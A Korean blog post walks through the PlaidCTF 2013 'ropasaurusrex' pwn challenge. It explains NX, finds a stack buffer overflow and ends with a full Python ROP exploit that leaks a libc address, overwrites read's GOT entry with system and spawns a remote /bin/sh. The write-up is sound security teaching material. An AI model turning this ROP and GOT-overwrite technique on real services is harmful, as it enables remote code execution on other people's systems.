rop basic - ropasaurusrex

By saren | March 13, 2016

PlaidCTF2013 - ropasaurusrex(200pt) Write Up


이 문제는 ROP 기법을 공부하는 사람들이라면 한 번 쯤 풀어본다는 2013년도 pCTF의 Ropasaurusrex 되시겠다.
salen양이 쓱 풀고 write-up을 써 두었길래 퍼다 날라본다.





1. Overview



문제를 실행하고 아무 문자나 입력한 후 엔터를 누르면 “WIN”이라는 문자열이 출력된다.
file 명령을 이용하여 파일의 속성을 알아보자.



strip된 32bit ELF 바이너리인 것을 확인하였다.
다음으로 checksec.sh을 이용하여 어떤 메모리 보호기법이 적용되어있는 지를 확인해보자.



NX(No Excutable)가 활성화되어있다!

NX란 메모리 보호 기법 중 하나로, 메모리 페이지의 권한을 write권한과 execute권한을 동시에 갖지 않도록 설정하는 것이다.

예를 들어 지역변수에 입력을 받을 때 overflow가 발생하는 바이너리가 있다고 하자. 만약 NX가 활성화되어있지 않다면 지역변수 메모리에 쉘코드를 넣고 ret addr를 쉘코드를 가리키게 하여 쉘코드를 실행시키는 것이 가능하다. 하지만 NX가 활성화되어있다면 메모리에 execute 권한이 없으므로 쉘코드를 실행시킬 수 없다.




2. Analysis


바이너리를 IDA로 열어보면 매우 간단하다.



먼저 main함수에서는 취약점이 존재하는 함수를 호출하고 write()return한다.
(그래서 문제를 실행시켰을 때 마지막에 “WIN”문자열이 출력되었던 것이다).


취약점이 존재하는 함수vulnFunc의 소스코드는 다음과 같다.



buf는 스택에 0x88 크기만큼 할당되어 있는데, read()함수로 0x100만큼을 buf에 저장한다.
당연히 buffer overflow가 발생 할 것이다.

아래는 직접 확인해 본 화면이다.



0x88은 136이므로 A를 135개까지 입력했을 때는 overflow가 발생하지 않는다.
하지만 136개를 입력했을 때 부터는 overflow가 발생하여 segment fault 메시지가 뜨는 것을 확인할 수 있다.

gdb를 이용하여 이 부분을 좀 더 자세히 알아보자.

먼저 ‘a’ 를 140개 입력한 후 gdb를 실행시킨 결과이다.



0xbffff570부터 0xbffff5fb까지 총 140bytes가 덮어씌워졌다. 그리고 아래와 같이 leave, ret 명령만을 남겨둔 상황이다.



leave = mov esp, ebp / pop ebp
ret = pop eip / jmp eip


leave-ret 명령이 실행되기 전 후를 살펴보자.



leave 명령을 실행한 후에 ebp에는 0x61616161값이 저장되었고, ret 명령을 수행한 후에 eip0x804840a가 되었다.
140bytes를 입력해 주었으므로 SFP까지만 덮어쓰여지고 return address는 아직 덮어지지 않은 것을 확인할 수 있다.

이제 144bytes를 입력해 보자. 구분을 위해 a 140개, b 4개를 연달아 넣어 볼 것이다.



원래의 return address 자리에 0x62626262(bbbb)가 덮어씌어진 것을 확인할 수 있다.



ret 명령까지 실행하고 난 후 eip가 변조된 것을 확인할 수 있다.




3. Exploit


앞서 우리는 eip를 조작할 수 있는 것을 알았다.

이 문제의 서버 환경에는 ASLR이 적용되어 있고, 바이너리 환경은 NX enable이다.
ASLR과 NX를 우회하기 위해 ROP기법을 이용하여 exploit을 해보자.

결국 쉘을 따야 하는 것이 목표이므로 공격 payload의 순서는 다음과 같다.


1. “/bin/sh” 명령을 쓰기 가능한 메모리 영역에 복사
2. write 함수로 read 함수의 got를 읽음
3. 앞서 획득한 read 함수의 got 값을 저장함
4. read@plt를 호출하여 gotsystem함수로 overwrite
5. system 함수 호출


이를 좀 더 자세히 설명하면 다음과 같다.


  • buffer overflow를 일으켜 return addressread함수로 변경


  • “/bin/sh”명령을 쓰기 가능한 메모리에 저장하기 위해 read함수의 인자를 채워준 후 write함수로 return & 스택 정리(pop, pop, pop, ret)
    • size_t count : strlen(binsh)
    • void *buf : 쓰기 가능한 메모리(직접 선택할 것)
    • inf fd : 0(stdin, 표준 입력)


  • read함수의 got에 저장되어있는 주소 값을 알아내기 위해 write함수의 인자를 채워준 후 read함수로 return & 스택 정리(pop, pop, pop, ret)
    • size_t count : 4bytes
    • void *buf : read()함수의 got 주소
    • int fd : 1(stdout, 표준 출력)


  • system함수 호출을 위해 read함수의 인자를 채워준 후 read함수로 return(실제로는 system함수 호출) & 스택 정리(pop, pop, pop, ret)
    • size_t count : 4bytes
    • void *buf : read함수의 got 주소를 덮어쓸 수 있는 system함수 주소
    • int fd : 0(stdin, 표준 입력)


payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같다.


1. “/bin/sh”명령을 저장할 수 있는 쓰기 가능한 메모리 공간
2. read, write함수의 plt, got
3. system함수의 주소
4. pop, pop, pop, ret 가젯의 위치




먼저 “/bin/sh”명령을 저장할 수 있는 쓰기 가능한 메모리 공간을 알아보자.



보통 .data 섹션과 .bss섹션을 사용한다고 하지만, 이 문제 바이너리에서는 .data섹션과 .bss섹션의 크기가 8bytes밖에 되지 않아 사용하기에 부족하다. 충분히 size가 크고 쓰기 가능한 메모리 영역을 찾다가 .dynamic 섹션을 발견했다. .dynamic 섹션은 동적 링크 정보를 담고 있는 영역이지만 이 영역을 덮어써도 문제 프로그램 상에는 크게 영향을 미치지 않을 것이다.

.dynamic섹션(0x08049530)“/bin/sh”명령을 넣어두도록 하자.


다음으로 read함수와 write함수의 plt, got를 알아보자.
먼저 read 함수의 pltgot 는 다음과 같다.



read함수의 plt : 0x084832c
read함수의 got : 0x804961c


또한 write 함수의 pltgot는 다음과 같다.



write함수의 plt : 0x804830c
write함수의 got : 0x8049614


다음으로 system함수의 주소를 알아내보자.
ASLR이 걸려있을 경우에도 계산이 가능하도록 하기 위해 read함수와 system함수의 offset을 알아낸 후 그 offset을 통해 계산 할 것이다.



system 함수는 0xb7e56190에 위치하고, read 함수는 0xb7ef0bd0에 위치한다.
이 두 함수의 offset0x9aa40이다.


read-system offset : 0x9aa40


마지막으로 pop esi; pop edi; pop ebx; 가젯의 위치를 알아보자.
rp++를 이용하여 다음과 같이 가젯을 찾을 수 있다.



이 중 원하던 가젯은 0x080484b6에 위치한다.




공격에 사용할 정보들을 다 모았다!! 정리하면 다음과 같다.


  • “/bin/sh” 명령을 저장할 수 있는 쓰기 가능한 메모리 공간 - 0x08049530
  • read 함수의 plt, got - 0x084832c, 0x804961c
  • system 함수의 주소를 구하기 위한 read 함수와의 offset - 0x9aa40
  • pop, pop, pop, ret 가젯의 위치 - 0x080484b6




지금까지의 내용을 정리해보겠다. 지금 Exploit을 하려는 포인트는 다음과 같다.



vulnFunc()에서 read()함수가 처음 호출되므로 read@plt에서 read@got.plt로 이동을 하지만
got에는 read()함수의 주소가 저장되어 있지 않으므로
다시 plt로 이동하여 dl_fixup()함수를 통해 실제 read()함수의 주소를 얻어온다.

read()함수가 두 번째 호출될 땐 이미 gotread()함수의 주소가 저장되어 있을 것이지만,
이 주소를 system()함수의 주소로 overwrite한다면 system()함수가 호출될 것이다.

다시 말해, 0x804961C에 저장된 주소 값(실제 read함수의 주소)을 system()함수의 주소로 overwrite하려는 것이다!!!!




4. ex.py


작성해 본 Exploit code 는 다음과 같다.


#!/usr/bin/env python
from socket import *
from time import *
from telnetlib import *
from struct import *
 
p = lambda x: pack("<L", x)
up = lambda x: unpack("<L", x)[0]
 
## Network Connection
s = socket(AF_INET, SOCK_STREAM)
s.connect(("0.0.0.0", 12345))
 
sleep(0.1)
#print s.recv(1024)
 
## /bin/sh
binsh = "/bin/sh"
 
## stdin, stdout
stdin = 0
stdout = 1
 
## Address
read_plt = 0x0804832c
read_got = 0x0804961c
write_plt = 0x0804830c
write_got = 0x08049614
 
read_system_offset = 0x9aa40 # read - system offset
binsh_addr = 0x08049530 # .dynamic section
pppr = 0x080484b6 # pop esi; pop edi; pop ebp; ret
 
print "[*] .....inginging..."
 
## Make and Send Payload
 
payload = "a"*140
 
payload += p(read_plt)
payload += p(pppr)
payload += p(stdin)
payload += p(binsh_addr)
payload += p(len(binsh))
 
payload += p(write_plt) # For calc the system() addr
payload += p(pppr)
payload += p(stdout)
payload += p(read_got)
payload += p(len(str(read_got)))
 
payload += p(read_plt) # Overwrite address!
payload += p(pppr)
payload += p(stdin)
payload += p(read_got)
payload += p(len(str(read_got)))
 
payload += p(read_plt) # Call System Function
payload += p(0xaaaabbbb)
payload += p(binsh_addr)
 
########### Send and Recv Data ###########
s.send(payload+"\n")
s.send(binsh)
 
## Get System Function Address
read = up(s.recv(4)) # save read func's got(real address)
system_addr = read - read_system_offset
print "[*] System Address: %s" % (str(hex(system_addr)))
s.send(p(system_addr))
##########################################
 
## Get the Shell
print "[*] Exploit Complete!"
t = Telnet()
t.sock = s
t.interact()


comments powered by Disqus